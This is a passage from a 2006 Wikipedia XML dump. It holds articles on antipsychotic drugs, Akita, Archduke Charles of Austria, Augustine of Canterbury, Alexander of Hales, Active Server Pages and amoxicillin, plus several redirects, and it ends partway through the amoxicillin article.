Anti-psychotics can be classified on a spectrum of low potency to high potency, where potency refers to the ability of the drug to bind to dopamine receptors, and not to the effectiveness of the drug.  High potency antipsychotics such as [[haloperidol]] typically have doses of a few milligrams and cause less sleepiness and calming effects than low potency antipsychotics such as [[chlorpromazine]], which have dosages of several hundred milligrams.

There is generally a lag of a few days to a few weeks between the time the drug is started and the time that the medication begins to reduce psychosis.  Why this is so remains unclear.

Some people who become psychotic do not seem to respond to antipsychotic medication, despite studies showing that the drug is blocking the same number of receptors as in other people who do respond to the treatment.

A [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=16172203&amp;query_hl=2 recent review], comparing the effectiveness of both typical and atypical antipsychotic medication, found little clinical advantage for atypical antipsychotics in reducing psychotic symptoms, although [[olanzapine]] was associated with more weight gain and less chance of discontinuation.

== Side effects ==
The range of interactions can produce different adverse effects including [[Extrapyramidal side-effect|extrapyramidal]] reactions, including acute [[dystonia]]s, [[akathisia]], rigidity and [[tremor]], [[tardive dyskinesia]], [[tachycardia]], [[hypotension]], [[impotence]], lethargy, [[seizure]]s, and [[hyperprolactinaemia]].

The atypical antipsychotics (especially [[olanzapine]]) seem to cause weight gain more commonly than the typical antipsychotics.  The well documented metabolic side effects associated with weight gain include diabetes that, not infrequently, can be life threatening.

[[clozapine|Clozapine]] also has a risk of inducing [[agranulocytosis]], a potentially dangerous reduction in the number of white blood cells in the body. Because of this risk, patients prescribed clozapine may need to have regular blood checks to catch the condition early if it does occur, so the patient is in no danger.

One of the more serious of these side effects is [[tardive dyskinesia]], in which the sufferer may show repetitive, involuntary, purposeless movements often of the lips, face, legs or torso. (Photos and video can be seen [http://www.yoism.org/?q=node/120 here]). It is believed that there is a greater risk of developing tardive dyskinesia with the older, typical antipsychotic drugs, although the newer antipsychotics are now also known to cause this disorder.  It is believed by some that the risk of tardive dyskinesia can be reduced by combining the anti-psychotics with [[diphenhydramine]] or [[benztropine]], though this has not been established.  [[Central nervous system]] damage is also associated with irreversible [[tardive akathisia]] and [[tardive dementia]]. 

Another serious side effect is [[neuroleptic malignant syndrome]], in which the drugs appear to cause the temperature regulation centers to fail, resulting in a medical emergency as the patient's temperature suddenly increases to dangerous levels.

Another problematic side effect of antipsychotics is [[dysphoria]], meaning that it just makes the patient feel bad. This side-effect is a major problem for patients with schizophrenia in that it causes them to discontinue medication, and this produces a relapse of psychotic symptoms.

Whilst this may seem a daunting list, it must be noted that many people suffer few of the obvious side effects from taking antipsychotic medication. Some side effects, such as subtle cognitive problems, foot rocking, or drooling, in the case of akinesia go unnoticed. 

Other symptoms of akinesia of antipsychotics include deterioration of teeth due to a lack of saliva. These symptoms are hard to spot and are often dismissed.

== History and design ==
The original antipsychotic drugs were happened upon largely by chance and were tested empirically for their effectiveness.

The first antipsychotic was [[chlorpromazine]], which was developed as a surgical [[anesthetic]].  It was first used on psychiatric patients in the belief that it would have a calming effect. However, the drug soon appeared to reduce psychosis beyond this calming effect, and now some believe that it causes a reduction of psychosis unrelated to the sedating effect of the medication.  It was introduced for the treatment of psychosis during the period when [[lobotomy]] was a common treatment and was hailed as a &quot;cure&quot; for schizophrenia.  It was then touted to provide a &quot;chemical lobotomy,&quot; causing similar neurological effects without requiring surgery.

The newer atypical antipsychotics are supposedly [[rational drug design|rationally designed drugs]] in which a theoretical understanding of both the condition to be treated and the effect of certain molecules on the body is used to develop potential new drug candidates.

== See also ==

* [[Dopamine]]
* [[Dopamine hypothesis of schizophrenia]]
* [[Psychosis]]
* [[Schizophrenia]]

== References ==
* [http://www.ncbi.nlm.nih.gov:80/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=12356650&amp;dopt=Abstract Jones, H. M., &amp; Pilowsky, L. S. (2002)] Dopamine and antipsychotic drug action revisited. ''British Journal of Psychiatry'', 181, 271-275.

[[Category:Antipsychotics|*]]

[[de:Antipsychotikum]]
[[es:Neuroléptico]]
[[fr:Neuroleptique]]
[[io:Neuroleptiko]]
[[nl:Antipsychoticum]]
[[ja:抗精神病薬]]
[[pt:Antipsicótico]]
[[ru:Антипсихотические препараты]]
[[sv:Neuroleptika]]
[[zh:抗精神病药]]

==External links==

* [http://www.mcmanweb.com/article-178.htm Bipolar Meds - The Antipsychotics]
* [http://www.fda.gov/bbs/topics/ANSWERS/2005/ANS01350.html FDA Public Health Advisory] - Public Health Advisory for Antipsychotic Drugs used for Treatment of Behavioral Disorders in Elderly Patients

{{Antipsychotics}}</text>
    </revision>
  </page>
  <page>
    <title>Akita</title>
    <id>2871</id>
    <revision>
      <id>40737629</id>
      <timestamp>2006-02-22T18:06:01Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>robot  Adding: pt</comment>
      <text xml:space="preserve">'''Akita''' (秋田; Japanese for &quot;autumn ricefield&quot;) is a Japanese name.

'''Akita''' may refer to:

In '''places''':
* [[Akita Prefecture]] (秋田県), a northern Japanese prefecture on the island of Honshu
* [[Akita, Akita]] (秋田市), the capital of Akita Prefecture

In '''people''':
* [[Masami Akita]] (秋田昌美; born 1956), musician, also known as Merzbow
* [[Akita Sanesue]] (秋田実季; 1576–1660), daimyo (feudal ruler)
* [[Akita Toshisue]] (秋田俊季), son of Sanesue

'''Akita''' may also refer to:
* [[Akita Shinkansen]] (秋田新幹線), a high speed train line between Tokyo and Akita City
* [[Akita Inu]] (秋田犬), a breed of dog from Akita Prefecture

==See also==
* [[Japanese name]]

{{disambig}}

[[Category:Japanese surnames]]

[[es:Akita]]
[[eo:Akita]]
[[ko:아키타]]
[[ja:秋田]]
[[pt:Akita (desambiguação)]]</text>
    </revision>
  </page>
  <page>
    <title>Arthur Tudor</title>
    <id>2872</id>
    <revision>
      <id>15901255</id>
      <timestamp>2003-04-04T08:07:29Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Arthur, Prince of Wales]]</text>
    </revision>
  </page>
  <page>
    <title>Afghan/Tunisian Crochet</title>
    <id>2873</id>
    <revision>
      <id>15901256</id>
      <timestamp>2002-05-20T23:02:21Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[Tunisian crochet]]</comment>
      <text xml:space="preserve">#redirect [[Tunisian crochet]]</text>
    </revision>
  </page>
  <page>
    <title>Archduke Charles</title>
    <id>2875</id>
    <revision>
      <id>41356185</id>
      <timestamp>2006-02-26T20:46:33Z</timestamp>
      <contributor>
        <username>Biederman</username>
        <id>210118</id>
      </contributor>
      <minor />
      <comment>revert - vandalism</comment>
      <text xml:space="preserve">[[Image:archdukecharles1.jpg|thumb|right|Archduke Charles]]
'''Archduke Charles of Austria, Duke of Teschen''' ([[de]]: ''Erzherzog Karl von Österreich, Herzog von Teschen'', also known as ''Karl von Österreich-Teschen'') ([[September 5]],[[1771]] &amp;ndash; [[April 30]], [[1847]]) was a son of [[Leopold II, Holy Roman Emperor]] (1747 &amp;ndash; 1792) and his wife Maria Luisa of [[Spain]] (1745 &amp;ndash; 1792). He was also a younger brother of [[Francis II, Holy Roman Emperor]]. Despite being epileptic, Charles achieved respect both as a commander and as a reformer of Austria's army.

==Youth and early career==
In a generous act by his father, Charles was adopted and raised in Vienna by his childless aunt [[Marie Christine of Austria]] and her husband [[Albert of Saxe-Teschen]]. His youth was spent in [[Tuscany]], at [[Vienna]] and in the Austrian Netherlands, where he began his career of military service in the war of the [[French Revolution]]. He commanded a brigade at the [[Battle of Jemappes]], and in the campaign of 1793 distinguished himself at the [[Battle of Aldenhoven|Action of Aldenhoven]] and the [[Battle of Neerwinden (1793)|Battle of Neerwinden]]. In this year he became Statthalter in [[Belgium]] and received the army rank of lieutenant field marshal, which promotion was soon followed by that to Feldzeugmeister. In the remainder of the war in the [[Low Countries]] he held high commands, and he was present at [[Battle of Fleurus (1794)|Battle of Fleurus]].

In 1795 he served on the Rhine, and in the following year was entrusted with the chief control of all the Austrian forces on that river. His conduct of the operations against [[Jean-Baptiste Jourdan|Jourdan]] and [[Jean Victor Marie Moreau|Moreau]] in [[1796]] marked him out at once as one of the greatest generals in Europe. At first falling back carefully and avoiding a decision, he finally marched away, leaving a mere screen in front of Moreau. Falling upon Jourdan he beat him in the battles of [[Battle of Amberg (1796)|Amberg]] and [[Battle of Würzburg|Würzburg]], and drove him over the Rhine with great loss. He then turned upon Moreau's army, which he defeated and forced out of Germany.

==Napoleonic Wars==
[[Image:Archduke_Charles_Picture.jpg|thumb|300px|Victorious Archduke Charles of Austria during the [[Battle of Aspern-Essling]] (May 21-22, [[1809]])]]
In [[1797]] he was sent to arrest the victorious march of [[Napoleon I of France|General Bonaparte]] in [[Italy]], and he conducted the retreat of the over-matched Austrians with the highest skill. In the campaign of 1799 he was once more opposed to Jourdan, whom he defeated in the battles of [[Battle of Osterach|Osterach]] and [[Battle of Stockash (1800)|Stokasch]], following up his success by invading [[Switzerland]] and defeating [[André Masséna|Masséna]] in the [[First Battle of Zürich]], after which he re-entered Germany and drove the French once more over the Rhine.

Serving with distinction against [[Napoleon I of France|Napoleon Bonaparte]] in [[1796]], Charles then beat lesser opponents such as [[Jean-Baptiste Jourdan|General Jourdan]] and [[André Masséna|General Massena]] at the [[First Battle of Zurich]] June [[1799]]. 

Ill-health, however, forced him to retire to [[Bohemia]], whence he was soon recalled to undertake the task of checking Moreau's advance on Vienna. The result of the [[Battle of Hohenlinden]] had, however, foredoomed the attempt, and the archduke had to make the armistice of [[Steyr]]. His popularity was now such that the diet of Regensburg, which met in 1802, resolved to erect a statue in his honour and to give him the title of saviour of his country, but Charles refused both distinctions.

In the short and disastrous war of 1805 Archduke Charles commanded what was intended to be the main army in Italy, but events made Germany the decisive theatre of operations, and the defeats sustained on the [[Danube]] neutralized the success obtained by the archduke over Massena in the desperately fought [[Battle of Caldiero]]. With the conclusion of peace began his active work of army reorganization, which was first tested on the field in [[1809]]. As ''generalissimo'' of the army he had been made [[Generalfeldmarschall|field marshal]] some years before.

In 1806 Francis II (now Francis I of Austria) named the Archduke Charles Commander in Chief of the Austrian army as well as Head of the Council of War. Supported by the prestige of being the only general who had proved capable of defeating the French, he promptly initiated a far-reaching scheme of reform, which replaced the obsolete methods of the [[18th century]], the chief characteristics of the new order being the adoption of the nation in arms principle and of the French war organization and tactics. The new army was surprised in the process of transition by the war of 1809, in which Charles acted as commander in chief, yet even so it proved a far more formidable opponent than the old, and, against the now heterogeneous army of which Napoleon disposed it succumbed only after a desperate struggle.

Its initial successes were neutralized by the reverses of [[Battle of Abensberg|Abensberg]], [[Battle of Landshut|Landshut]] and [[Battle of Eckmuhl|Eckmuhl]] but, after the evacuation of Vienna, the archduke won the great [[Battle of Aspern-Essling]] and soon afterwards fought the still more desperate [[Battle of Wagram]], at the close of which the Austrians were defeated but not routed. They had inflicted upon Napoleon a loss of over 50,000 men in the two battles. At the end of the campaign the archduke gave up all his military offices.

==Later life==
[[Image:archdukecharles2.jpg|thumb|right|200px|Archduke Charles with family.]]
Charles spent the rest of his life in retirement, except for a short time in 1815 when he was governor of Mainz. In 1822 he succeeded to the duchy of Saxe-Teschen. Archduke Charles married, in 1815, Princess Henrietta of Nassau-Weilburg ([[1797]]&amp;ndash;[[1829]]). He had five sons, the eldest of whom, the [[Archduke Albert (1817-1895)|Archduke Albert]] became one of the most celebrated generals in Europe, and two daughters, the elder of which, Maria Theresa ([[1816]]&amp;ndash;[[1867]]) married Ferdinando II, King of the Two Sicilies. He died at Vienna on [[30 April]] [[1847]]. He is buried in tomb 122 in the [[Imperial Crypt Vaults#The New Vault|New Vault]] of the [[Imperial Crypt]] in Vienna. An equestrian statue was erected to his memory on the [[Heldenplatz]] in Vienna in [[1860]].

==Assessment of his achievements==
The caution which the archduke preached so earnestly in his strategical works, he displayed in practice only when the situation seemed to demand it, though his education certainly prejudiced him in favour of the defensive at all costs. He was at the same time capable of forming and executing the most daring offensive strategy, and his tactical skill in the handling of troops, whether in wide turning movements, as at Würzburg and Zürich, or in masses, as at Aspern and Wagram, was certainly equal to that of any leader of his time, with only a few exceptions.

His campaign of [[1796]] is considered almost faultless. That he sustained defeat in 1809 was due in part to the great numerical superiority of the French and their allies, and in part to the condition of his newly reorganized troops. His six weeks' inaction after the victory of Aspern is, however, open to unfavourable criticism. As a military writer, his position in the evolution of the art of war is very important, and his doctrines had naturally the greatest weight. Nevertheless they cannot but be considered as antiquated even in 1806. Caution and the importance of strategic points are the chief features of his system. The rigidity of his geographical strategy may be gathered from the prescription that this principle is never to be departed from.

Again and again he repeats the advice that nothing should be hazarded unless one's army is completely secure, a rule which he himself neglected with such brilliant results in 1796. Strategic points, he says (not the defeat of the enemy's army), decide the fate of one's own country, and must constantly remain the general's main solicitude, a maxim which was never more remarkably disproved than in the war of 1809. The editor of the archduke's work is able to make but a feeble defence against [[Carl von Clausewitz|Clausewitz]]'s reproach that Charles attached more value to ground than to the annihilation of the foe. In his tactical writings the same spirit is conspicuous. His reserve in battle is designed to cover a retreat. 
[[Image:Archduke_Charles_Statue.jpg|thumb|350px|right|Statue of Archduke Charles on the [[Heldenplatz]] in [[Vienna]].]]
The baneful influence of these antiquated principles was clearly shown in the maintenance of Königgratz-Josefstadt in [[1866]] as a strategic point, which was preferred to the defeat of the separated Prussian armies. In the strange plans produced in Vienna for the campaign of 1859, and in the almost unintelligible [[Battle of Montebello (1859)|Battle of Montebello]] in the same year. The theory and the practice of Archduke Charles form one of the most curious contrasts in military history. In the one he is unreal, in the other he displayed, along with the greatest skill, a vivid activity which made him for long the most formidable opponent of Napoleon.

On the battlefield, it is probably fair to say, Charles was comparable in skill and style to Sir [[Arthur Wellesley]] - quite conservative and yet exceedingly competent. That Wellesley emerged with a superior reputation is probably due to the fact that he only once faced Napoleon and even then was only co-commander of an Allied force. By contrast Charles was confronted by Napoleon in battle more times than any other commander. On these occasions the reliable and yet unimaginative tactics Charles was fond of were not sufficient (except on one occasion at Aspern-Essling) to defeat the unpredictable Corsican. Nonetheless Charles is a member of a pantheon of famous Napoleonic figures that includes the Emperor himself, [[Louis Nicolas Davout]], [[Karl Philipp Fürst zu Schwarzenberg|Karl von Schwarzenberg]], [[Alexander Suvorov]], [[Gebhard Leberecht von Blücher]] and the aforementioned Sir Arthur Wellesley.

==Writings and References==
His writings were edited by Archduke Albert and his brother Archduke William in the ''Ausgewählte Schriften weiland Sr. K. Hoheit Erzh. Carl v. Osterreich'' (1862; reprinted 1893, Vienna and Leipzig), which includes the ''Grundsätze der Kriegskunst für die Generale'' (1806), ''Grundsätze der Strategie erläutert durch die Darstellung des Feldzugs 1796'' (1814), ''Geschichte des Feldzugs von 299'' (1819)--the two latter invaluable contributions to the history of the war, and papers on the higher art of war, on practical training in the field, etc.

See, besides the histories of the period, 
*Carl Freiherr Binder von Krieglstein: ''Geist und Stoff im Kriege''. Vienna, 1896 
*Rudolf von Caemmerer, ''The development of strategical science during the 19th century''. London, 1905  (ch. iv)
*Eduard Duller: ''Erzherzog Karl''. Vienna, 1847
*F.J.A. Schneidawind: ''Carl, Erzherzog von Osterreich und die oesterreichische Armee''. Vienna, 1840 
*F.J.A. Schneidawind:''Das Buch vom Erzherzog Carl''. Leipzig, 1847 
*Maximilian Friedrich von Thielen: ''Erzherzog Karl von Osterreich''. 1858 
*[[Heinrich Ritter von Zeissberg|H. von Zeissberg]]: ''Erzherzog Karl von Osterreich''. Vienna, 1895 
*Moriz Edler von Angeli: ''Erzherzog Carl von Österreich als Feldherr und Heeresorganisator''. Leipzig, 1896
*Owen Connelly: ''Blundering to glory: Napoleon's military campaigns''. Rev. ed. Wilmington, DE: SR Books, 1999 ISBN 0-842027-79-3 

{{1911}}

[[Category:1771 births|Charles, Archduke of Austria]]
[[Category:1847 deaths|Charles, Archduke of Austria]]
[[Category:Austrian Field Marshals|Charles, Archduke of Austria]]
[[Category:Governors of the Habsburg Netherlands|Charles, Archduke of Austria]]
[[Category:Non-ruling Austrian royalty|Charles, Archduke of Austria]]
[[Category:Habsburg-Lorraine|Charles, Archduke of Austria]]

[[de:Karl von Österreich-Teschen]]
[[es:Carlos de Austria-Teschen]]
[[fr:Charles Louis d'Autriche]]
[[nl:Karel van Oostenrijk-Teschen]]</text>
    </revision>
  </page>
  <page>
    <title>Adrenaline</title>
    <id>2876</id>
    <revision>
      <id>15901258</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
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        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Epinephrine]]
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  </page>
  <page>
    <title>Augustine of Canterbury</title>
    <id>2877</id>
    <revision>
      <id>41963617</id>
      <timestamp>2006-03-02T22:37:07Z</timestamp>
      <contributor>
        <username>Neddyseagoon</username>
        <id>883252</id>
      </contributor>
      <text xml:space="preserve">'''Augustine of Canterbury''' (birth unknown, died [[May 26]], [[604]]) was the first [[Archbishop of Canterbury]], sent to [[Ethelbert of Kent]], [[Bretwalda]] of England by [[Pope Gregory I|Pope Gregory the Great]] in [[597]].  He was accompanied by [[Laurence of Canterbury]], the second [[archbishop]].

In [[596]], Augustine was ''praepositus'' (prior) of the monastery of [[Saint Andrew]], founded by [[Pope Gregory I]], and was sent by Gregory at the head of forty monks to preach to the Anglo-Saxons. They lost heart on the way and Augustine went back to Rome from [[Provence]] and asked that the mission be given up.  The pope, however, commanded and encouraged them to proceed, and they landed on the Island of [[Thanet]] in the spring of [[597]]. 

Ethelbert's wife Bertha, daughter of [[Charibert]], one of the [[Merovingian]] kings of the [[Franks]], had brought a chaplain with her (Liudhard) and either built a church, or restored a church in Canterbury from Roman times, and dedicated it to [[Martin of Tours|St. Martin of Tours]] (either of which is possibly [[Church of St. Martin, Canterbury|St. Martin's]]), a major patronal saint for the Merovingian royal family. Ethelbert himself was a [[Paganism|pagan]], but allowed his wife to worship God her own way.  Probably under influence of his wife, Ethelbert asked [[Pope Gregory I]] to send missionaries.

Ethelbert permitted the missionaries to settle and preach in his town of [[Canterbury]] and before the end of the year he was converted and Augustine was consecrated bishop at [[Arles]]. At [[Christmas]] 10,000 of the king's subjects were baptized. 

Augustine sent a report of his success to Gregory with certain questions concerning his work. In [[601]] [[Mellitus]], [[Justus]] and others brought the pope's replies, with the [[pallium]] for Augustine and a present of sacred vessels, [[vestment]]s, [[relic]]s, books, and the like. Gregory directed the new archbishop to ordain as soon as possible twelve [[suffragan]] [[bishop]]s and to send a bishop to [[York]], who should also have twelve suffragans &amp;mdash; a plan which was not carried out, nor was the primatial [[episcopal see|see]] established at [[London]] as Gregory intended. Augustine consecrated [[Mellitus]] Bishop of London and Justus Bishop of [[Rochester, Kent|Rochester]].

More practicable were the pope's mandates concerning heathen temples and usages: the former were to be consecrated to Christian service and the latter, so far as possible, to be transformed into dedication ceremonies or feasts of martyrs, since &quot;he who would climb to a lofty height must go up by steps, not leaps&quot; (letter of Gregory to Mellitus, in [[Bede]], i, 30). 

Augustine reconsecrated and rebuilt an old church at Canterbury as his cathedral and founded a monastery in connection with it. He also restored a church and founded the monastery of St. Peter and St. Paul outside the walls. He is claimed to have founded [[The King's School, Canterbury]], which would make it the world's oldest school; however there may be little more to this than that some teaching took place at the monastery.

His attempts to effect a union with the [[Old British Church]] in [[Wales]] failed. 

{{start box}}
{{succession box | before=Archdiocese created| title=[[Archbishop of Canterbury]] | after=[[Laurence of Canterbury|Laurence]] | years=597&amp;ndash;605}}
{{end box}}

{{Schaff-Herzog}}

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[[Category:History of Kent]]
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[[Category:604 deaths|Augustine of Canterbury]]
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[[uk:Августин Святий]]</text>
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  </page>
  <page>
    <title>ABM treaty</title>
    <id>2878</id>
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      <text xml:space="preserve">#REDIRECT [[Anti-Ballistic Missile Treaty]]
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  <page>
    <title>Anti-Ballistic Missile</title>
    <id>2880</id>
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      <id>15901261</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Anti-ballistic missile]]
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  </page>
  <page>
    <title>Alexander of Hales</title>
    <id>2881</id>
    <revision>
      <id>40863893</id>
      <timestamp>2006-02-23T14:39:34Z</timestamp>
      <contributor>
        <username>ErikNorvelle</username>
        <id>979555</id>
      </contributor>
      <minor />
      <comment>Added Category:Catholic philosophers</comment>
      <text xml:space="preserve">'''Alexander Hales'''
(also '''Halensis''', '''Alensis''', '''Halesius''', '''Alesius'''; called  ''Doctor Irrefragabilis'' and ''Theologorum Monarcha'') was a [[scholasticism|scholastic ]] [[theology|theologian]]. He was born at [[Hales]], [[Gloucestershire]], [[England]], and died in [[Paris]] on [[August 21]], [[1245]]. He was educated in the monastery at Hales, studied and lectured at Paris, acquired great fame as a teacher in theology, and entered the [[Franciscan|Franciscan order]] in [[1222]]. 

Alexander was the first to write a commentary on the [[Sentences]] of [[Peter Lombard]], before him theologians had always commented upon the scriptures. His ''Summa universae theologiae'' (first printed at [[Venice, Italy|Venice]], [[1475]]) was undertaken at the request of  [[Pope Innocent IV]], and received his approbation. It was finished by Alexander's scholars after his death. It is an independent work giving a triple series of  authorities-- those who say yes, those who say no, and then the reconciliation or judgment. The authorities are chosen not only from the [[Bible]] and the Fathers, but also among Greek, Latin, and Arabic poets and philosophers, and later theologians. It treats in its first part the doctrines of [[God]] and his attributes; in its second, those of [[creation (theology)|Creation]] and [[sin]]; in its third, those of [[redemption]] and [[atonement]]; and, in its fourth and last, those of the [[sacrament]]s.  In recognition of his efforts, Alexander was given the title of &quot;Doctor Irrefragabilis&quot;.

Among the doctrines which were specially developed and, so to speak, fixed by Alexander of Hales, are those of the  ''[[thesaurus supererogationis perfectorum]]'', and of the ''[[sacramental character|character indelibilis]]'' of [[baptism]], 
[[confirmation (sacrament)|confirmation]], and [[Holy Orders|ordination]].  That doctrine had been written about much earlier by [[Augustine of Hippo]] and was eventually defined a [[dogma]] by the [[Council of Trent]].

John Gerson tells us “The doctrine of Alexander is of a wealth surpassing all expression. It is said that someone asked St. Thomas what was the best manner of studying theology; he replied that it was by attaching oneself to a Master. And to which Doctor? he was asked again. To Alexander of Hales, the [[Thomas Aquinas|Angelic Doctor]] replied.&quot; (Gerson, Opera omnia.Epistola Lugdunum missa cuidam fratri Minori, vol. 1, p. 554.)

Compare [[Hailes Abbey]], Gloucestershire, founded in 1245/6.

{{Medieval_Philosophy}}

[[Category:1245 deaths|Alexander of Hales]]
[[Category:Catholic philosophers|Alexander of Hales]]
[[Category:English theologians|Alexander of Hales]]
[[Category:Franciscans|Alexander of Hales]]
[[Category:Scholastic philosophers|Alexander of Hales]]
[[Category:Natives of Gloucestershire|Alexander of Hales]]

[[sk:Alexander z Halesu]]
[[fi:Aleksanteri Halesilainen]]</text>
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  </page>
  <page>
    <title>Active Server Pages</title>
    <id>2883</id>
    <revision>
      <id>41508476</id>
      <timestamp>2006-02-27T21:06:49Z</timestamp>
      <contributor>
        <username>Quarl</username>
        <id>59118</id>
      </contributor>
      <comment>null edit</comment>
      <text xml:space="preserve">:''For other meanings, see [[ASP]].'' 
'''Active Server Pages''' ('''ASP''') is [[Microsoft]]'s [[Server (computing)|server]]-side technology for dynamically-generated web pages that is marketed as an add-on to [[Internet Information Services]] (IIS).

Programming ASP [[website]]s is made easier by various [[Wiktionary:built-in|built-in]] [[Object (computer science)|objects]].  Each object corresponds to a group of frequently-used functionality useful for creating [[dynamic web page]]s.  In ASP 3.0 there are six such built-in objects: Application, ASPError, Request, Response, Server and Session. Session, for example, is a [[cookie]]-based [[Session (computer science)|session]] object that maintains [[variable]]s from page to page.  [[Application Center Test]] is also available for load testing.

Most ASP pages are written in [[VBScript]], but any other [[Active Scripting]] engine can be selected instead by using the &lt;tt&gt;@Language&lt;/tt&gt; directive. [[JScript]] (Microsoft's implementation of [[ECMAScript]]) is the other language that is usually available. PerlScript ([[Perl]]) and others are available as third-party installable Active Scripting engines.

==Versions==
ASP has gone through four major releases:

* ASP 1.0 (distributed with IIS 3.0) in December 1996, 
* ASP 2.0 (distributed with IIS 4.0) in September 1997, 
* ASP 3.0 (distributed with IIS 5.0) in November 2000,
* [[ASP.NET]] (part of the [[.NET Framework|Microsoft .NET platform]]) in January 2002 (the pre-.NET versions are currently referred to as &quot;classic&quot; ASP)
* ASP.NET version 2.0 (released on November 7th, 2005).

ASP.NET introduced the ability to replace in-HTML scripting with full-fledged support for [[.NET Framework|.NET]] languages such as [[Visual Basic .NET]] and [[C Sharp programming language|C#]].  In-page scripting can still be used (and is fully supported), but now pages can use VB.NET and C# classes to generate pages instead of code in HTML pages.

==Apache::ASP==
[http://www.apache-asp.org/ Apache::ASP] provides an Active Server Pages port to the Apache Web Server with Perl scripting only, and enables developing of dynamic web applications with session management and embedded Perl code.

==See also==
*[[ASP Examples]]
*[[Active Server Pages/Hints|ASP Hints]]
*[[ASPX]]
*[[ASP.NET]]


[[ar:ASP]]
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[[da:Active Server Pages]]
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[[Category: Template engines]]
[[Category: Web server software]]</text>
    </revision>
  </page>
  <page>
    <title>Amoxicillin</title>
    <id>2885</id>
    <revision>
      <id>42126077</id>
      <timestamp>2006-03-04T00:10:19Z</timestamp>
      <contributor>
        <username>Davidruben</username>
        <id>101637</id>
      </contributor>
      <comment>/* Proprietary Preparations */ move of yet another proprietary name to list</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; width=&quot;275px&quot; align=&quot;right&quot;
|bgcolor=&quot;#ffffff&quot; align=&quot;center&quot; colspan=&quot;2&quot;|
[[Image:Amoxicillin.png|Molecular structure of amoxicillin]]&lt;br&gt;
''Amoxicillin''
|-
|bgcolor=&quot;#ffffff&quot; align=&quot;center&quot; colspan=&quot;2&quot;|
''&lt;nowiki&gt;(2S,5R,6R)-6-[(R)-2-amino-2-(4-hydroxyphenyl)&lt;/nowiki&gt;&lt;br&gt;&lt;nowiki&gt;acetamido]-3,3-dimethyl-7-oxo-4-thia-1-azabicyclo&lt;/nowiki&gt;&lt;br&gt;&lt;nowiki&gt; [3.2.0] heptane-2-carboxylic acid&lt;/nowiki&gt;''
|-
|bgcolor=&quot;#efefef&quot;|Empirical formula
|bgcolor=&quot;#dfefff&quot;|C&lt;sub&gt;16&lt;/sub&gt;H&lt;sub&gt;19&lt;/sub&gt;N&lt;sub&gt;3&lt;/sub&gt;O&lt;sub&gt;5&lt;/sub&gt;S
|-
|bgcolor=&quot;#efefef&quot;|[[Molecular weight]]
|bgcolor=&quot;#dfefff&quot;|365.4
|-
|bgcolor=&quot;#efefef&quot;|[[half life | Half life]]
|bgcolor=&quot;#dfefff&quot;|61.3 minutes
|-
|bgcolor=&quot;#efefef&quot;|[[Excretion]]
|bgcolor=&quot;#dfefff&quot;|renal
|-
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'''Amoxicillin''' ([[International Nonproprietary Name|INN]]) or '''amoxycillin''' (former [[British Approved Name|BAN]]) is a moderate-spectrum [[beta-lactam antibiotic|&amp;beta;-lactam antibiotic]] used to treat bacterial [[infection]]s caused by susceptible [[microorganism]]s. It is usually the drug of choice within the class because it is better absorbed, following oral administration, than other beta-lactam antibiotics.  Amoxicillin is susceptible to degradation by [[beta-lactamase|&amp;beta;-lactamase]]-producing bacteria, and so may be given with [[Clavulanic acid]] to increase its susceptability (see below).  It is currently marketed by [[GlaxoSmithKline]] under the trade name '''Amoxil'''&amp;reg;.

==Mode of action==
Amoxicillin acts by inhibiting the synthesis of bacterial cell walls. It inhibits cross-linkage between the linear peptidoglycan polymer chains that make up a major component of the cell wall of [[Gram-positive]] bacteria.

''Main article: [[beta-lactam antibiotic]]''

==Microbiology==
Amoxicillin is a moderate-spectrum antibiotic active against a wide range of [[Gram-positive]], and a limited range of [[Gram-negative]] organisms. Some examples of susceptible and resistant organisms, from the Amoxil® Approved Product Information (GSK, 2003), are listed below.

===Susceptible Gram-positive organisms===
''[[Streptococcus]]'' spp., ''[[Diplococcus]] pneumoniae'', non [[beta-lactamase|&amp;beta;-lactamase]]-producing ''[[Staphylococcus]]'' spp., and ''[[Streptococcus]] faecalis.''

===Susceptible Gram-negative organisms===
''[[Haemophilus]] influenzae'', ''[[Neisseria]] gonorrhoeae'', ''[[Neisseria]] meningitidis'', ''[[Escherichia coli]]'', ''[[Proteus (bacterium)|Proteus]] mirabilis'' and ''[[Salmonella]] spp.''

===Resistant organisms===
Penicillinase producing organisms, particularly penicillinase producing ''[[Staphylococcus]]'' spp. Penicillinase-producing ''N. gonorrhoeae'' and ''H. influenzae'' are also resistant

All strains of ''[[Pseudomonas]]'' spp., ''[[Klebsiella]]'' spp., ''[[Enterobacter]]'' spp., [[indole]]-positive ''[[Proteus (bacterium)|Proteus]]'' spp., ''[[Serratia]]'' marcescens, and ''[[Citrobacter]]'' spp. are resistant.

The incidence of &amp;beta;-lactamase-producing resistant organisms, including ''E. coli'', appears to be increasing.

Doubling the routinely given concentration (in pediatrics) of amoxicillin has been shown to eradicate intermediately resistant organisms (Red Book, 2003 Report of the Committee on Infectious Diseases, American Academy of Pediatrics).

==Formulations==
Amoxicillin in trihydrate form is avaialable as capsules or syrup for oral use, and as the sodium salt for intravenous administration.

== Amoxicillin and Clavulanic acid ==
Amoxicillin (in either trihydrate or sodium salt forms) may be combined with [[Clavulanic acid]] (as [[potassium clavulanate]]), a &amp;beta;-lactamase inhibitor, to increase the spectrum of action against [[Gram-negative]] organisms, and to overcome bacterial antibiotic resistance mediated through &amp;beta;-lactamase production. This formulation is referred to as [[Co-amoxiclav]] ([[British Approved Name]]), but more commonly by proprietary names such as [[Augmentin]]® and Clamoxyl®.

''Main article: [[Co-amoxiclav]]''

== Proprietary Preparations ==
